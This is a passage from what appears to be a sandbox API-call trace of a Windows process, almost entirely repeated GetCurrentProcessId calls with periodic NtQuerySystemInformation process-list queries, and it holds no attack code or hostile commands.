GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.746] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0168.747] GetCurrentProcessId () returned 0xbf4 [0169.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1bed0) returned 0x0 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.296] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.297] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.298] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.299] GetCurrentProcessId () returned 0xbf4 [0169.811] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1be80) returned 0x0 [0169.818] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.819] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.820] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.821] GetCurrentProcessId () returned 0xbf4 [0169.822] GetCurrentProcessId () returned 0xbf4 [0169.822] GetCurrentProcessId () returned 0xbf4 [0169.822] GetCurrentProcessId () returned 0xbf4 [0169.822] GetCurrentProcessId () returned 0xbf4 [0169.822] GetCurrentProcessId () returned 0xbf4 [0169.822] GetCurrentProcessId () returned 0xbf4 [0169.822] GetCurrentProcessId () returned 0xbf4 [0169.822] GetCurrentProcessId () returned 0xbf4 [0169.822] GetCurrentProcessId () returned 0xbf4 [0170.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1be80) returned 0x0 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.363] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.364] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.365] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.366] GetCurrentProcessId () returned 0xbf4 [0170.886] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1be80) returned 0x0 [0171.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c010) returned 0x0 [0171.619] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.620] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.621] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.622] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0171.623] GetCurrentProcessId () returned 0xbf4 [0172.189] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1bf70) returned 0x0 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.198] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.199] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.200] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] 